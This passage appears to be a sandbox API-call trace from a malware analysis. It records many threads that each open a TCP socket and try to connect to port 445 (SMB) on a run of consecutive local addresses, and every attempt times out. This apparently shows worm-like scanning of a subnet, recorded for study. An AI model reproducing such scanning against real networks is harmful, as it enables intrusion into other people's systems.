[0194.512] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2d3fded0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0194.552] CoUninitialize ()
Thread:
id = 190
os_tid = 0xd1c
[0164.949] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.950] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1b64
[0164.951] WSAConnect (in: s=0x1b64, name=0x27502b8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.177"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0194.073] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2d5ce2b0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.483] CoUninitialize ()
Thread:
id = 191
os_tid = 0xd20
[0164.958] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.959] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1b84
[0164.960] WSAConnect (in: s=0x1b84, name=0x27509f0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.178"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0194.026] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2d73e4b0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.386] CoUninitialize ()
Thread:
id = 192
os_tid = 0xd24
[0164.968] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.969] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1ba4
[0164.969] WSAConnect (in: s=0x1ba4, name=0x2751108*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.179"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0193.979] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2d2fdf30, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0194.024] CoUninitialize ()
Thread:
id = 193
os_tid = 0xd28
[0164.977] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.978] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1bc4
[0164.979] WSAConnect (in: s=0x1bc4, name=0x2751820*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.180"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0193.933] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2d92df90, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.382] CoUninitialize ()
Thread:
id = 194
os_tid = 0xd2c
[0164.987] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.988] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1be4
[0164.988] WSAConnect (in: s=0x1be4, name=0x2751f38*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.181"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0193.900] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2dabdc70, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.377] CoUninitialize ()
Thread:
id = 195
os_tid = 0xd30
[0164.996] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0164.997] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1c08
[0164.997] WSAConnect (in: s=0x1c08, name=0x2752650*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.182"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0193.854] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2abadc70, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0193.899] CoUninitialize ()
Thread:
id = 196
os_tid = 0xd34
[0165.007] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.008] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1c28
[0165.009] WSAConnect (in: s=0x1c28, name=0x2752d68*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.183"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0193.808] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2dc9dfb0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0193.853] CoUninitialize ()
Thread:
id = 197
os_tid = 0xd38
[0165.022] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.023] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1c48
[0165.023] WSAConnect (in: s=0x1c48, name=0x2753480*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.184"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0193.761] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2de1dad0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0193.806] CoUninitialize ()
Thread:
id = 198
os_tid = 0xd3c
[0165.029] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.030] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1c68
[0165.031] WSAConnect (in: s=0x1c68, name=0x2753b98*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.185"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0193.727] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2dfdd9b0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.364] CoUninitialize ()
Thread:
id = 199
os_tid = 0xd40
[0165.039] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.043] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1c88
[0165.043] WSAConnect (in: s=0x1c88, name=0x27542b0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.186"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0193.683] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2e1bdcf0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0193.726] CoUninitialize ()
Thread:
id = 200
os_tid = 0xd44
[0165.052] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.053] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1ca8
[0165.053] WSAConnect (in: s=0x1ca8, name=0x27549c8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.187"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0193.650] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2e33dff0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.351] CoUninitialize ()
Thread:
id = 201
os_tid = 0xd48
[0165.066] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.067] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1cc8
[0165.067] WSAConnect (in: s=0x1cc8, name=0x27550e0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.188"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0193.605] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2e4ddc30, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0193.649] CoUninitialize ()
Thread:
id = 202
os_tid = 0xd4c
[0165.119] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.120] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1ce8
[0165.120] WSAConnect (in: s=0x1ce8, name=0x27557f8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.189"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0193.558] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2e7bdcd0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.336] CoUninitialize ()
Thread:
id = 203
os_tid = 0xd50
[0165.127] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.128] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1d08
[0165.129] WSAConnect (in: s=0x1d08, name=0x2755f10*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.190"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0193.496] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2e69dc50, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.331] CoUninitialize ()
Thread:
id = 204
os_tid = 0xd54
[0165.150] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.153] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1d28
[0165.155] WSAConnect (in: s=0x1d28, name=0x2756628*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.191"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0193.463] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2e9dd830, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.328] CoUninitialize ()
Thread:
id = 205
os_tid = 0xd58
[0165.167] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.170] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1d48
[0165.171] WSAConnect (in: s=0x1d48, name=0x2756d40*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.192"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0193.420] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2eaedc70, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0193.462] CoUninitialize ()
Thread:
id = 206
os_tid = 0xd5c
[0165.179] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.179] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1d68
[0165.182] WSAConnect (in: s=0x1d68, name=0x2757458*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.193"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0193.383] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2ecfeb50, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.312] CoUninitialize ()
Thread:
id = 207
os_tid = 0xd60
[0165.190] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.191] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1d88
[0165.191] WSAConnect (in: s=0x1d88, name=0x2757b70*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.194"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0193.324] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2ef4e750, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.302] CoUninitialize ()
Thread:
id = 208
os_tid = 0xd64
[0165.204] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.205] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1da8
[0165.205] WSAConnect (in: s=0x1da8, name=0x2758288*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.195"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0193.279] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2f0de810, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.297] CoUninitialize ()
Thread:
id = 209
os_tid = 0xd68
[0165.213] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.214] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1dc8
[0165.215] WSAConnect (in: s=0x1dc8, name=0x27589a0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.196"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0193.231] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2f28e9d0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.290] CoUninitialize ()
Thread:
id = 210
os_tid = 0xd6c
[0165.225] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.226] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1de8
[0165.226] WSAConnect (in: s=0x1de8, name=0x27590b8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.197"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0193.196] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2ebfea50, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.283] CoUninitialize ()
Thread:
id = 211
os_tid = 0xd70
[0165.234] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.235] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1e08
[0165.235] WSAConnect (in: s=0x1e08, name=0x27597d0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.198"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0193.153] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2f41e4b0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0193.195] CoUninitialize ()
Thread:
id = 212
os_tid = 0xd74
[0165.245] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.246] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1e28
[0165.247] WSAConnect (in: s=0x1e28, name=0x2759ee8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.199"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0193.118] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2f64eab0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.270] CoUninitialize ()
Thread:
id = 213
os_tid = 0xd78
[0165.254] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.255] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1e48
[0165.255] WSAConnect (in: s=0x1e48, name=0x275a600*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.200"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0193.057] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2f81e5d0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0193.117] CoUninitialize ()
Thread:
id = 214
os_tid = 0xd7c
[0165.266] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.268] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1e68
[0165.268] WSAConnect (in: s=0x1e68, name=0x275ad18*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.201"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0193.012] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2ee2e8d0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0193.055] CoUninitialize ()
Thread:
id = 215
os_tid = 0xd80
[0165.303] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.304] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1e88
[0165.304] WSAConnect (in: s=0x1e88, name=0x275b430*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.202"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0192.979] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2f94e3d0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.258] CoUninitialize ()
Thread:
id = 216
os_tid = 0xd84
[0165.313] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.313] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1ea8
[0165.314] WSAConnect (in: s=0x1ea8, name=0x275bb48*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.203"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0192.934] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2fafe770, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0192.978] CoUninitialize ()
Thread:
id = 217
os_tid = 0xd88
[0165.321] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.322] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1ec8
[0165.322] WSAConnect (in: s=0x1ec8, name=0x275c260*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.204"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0192.901] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2fcce3f0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.246] CoUninitialize ()
Thread:
id = 218
os_tid = 0xd8c
[0165.330] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.331] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1ee8
[0165.331] WSAConnect (in: s=0x1ee8, name=0x275c978*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.205"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0192.856] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2e8de130, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0192.900] CoUninitialize ()
Thread:
id = 219
os_tid = 0xd90
[0165.351] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.352] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1f08
[0165.355] WSAConnect (in: s=0x1f08, name=0x275d090*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.206"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0192.810] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2ff6e0b0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.237] CoUninitialize ()
Thread:
id = 220
os_tid = 0xd94
[0165.361] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.362] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1f28
[0165.362] WSAConnect (in: s=0x1f28, name=0x275d7a8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.207"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0192.762] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2f53df90, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.232] CoUninitialize ()
Thread:
id = 221
os_tid = 0xd98
[0165.370] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.373] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1f48
[0165.374] WSAConnect (in: s=0x1f48, name=0x275dec0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.208"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0192.726] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2fdce150, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0197.225] CoUninitialize ()
Thread:
id = 222
os_tid = 0xd9c
[0165.382] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.383] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1f68
[0165.385] WSAConnect (in: s=0x1f68, name=0x275e5d8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.209"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0192.685] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x3008e450, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0192.726] CoUninitialize ()
Thread:
id = 223
os_tid = 0xda0
[0165.393] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0165.393] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1f88
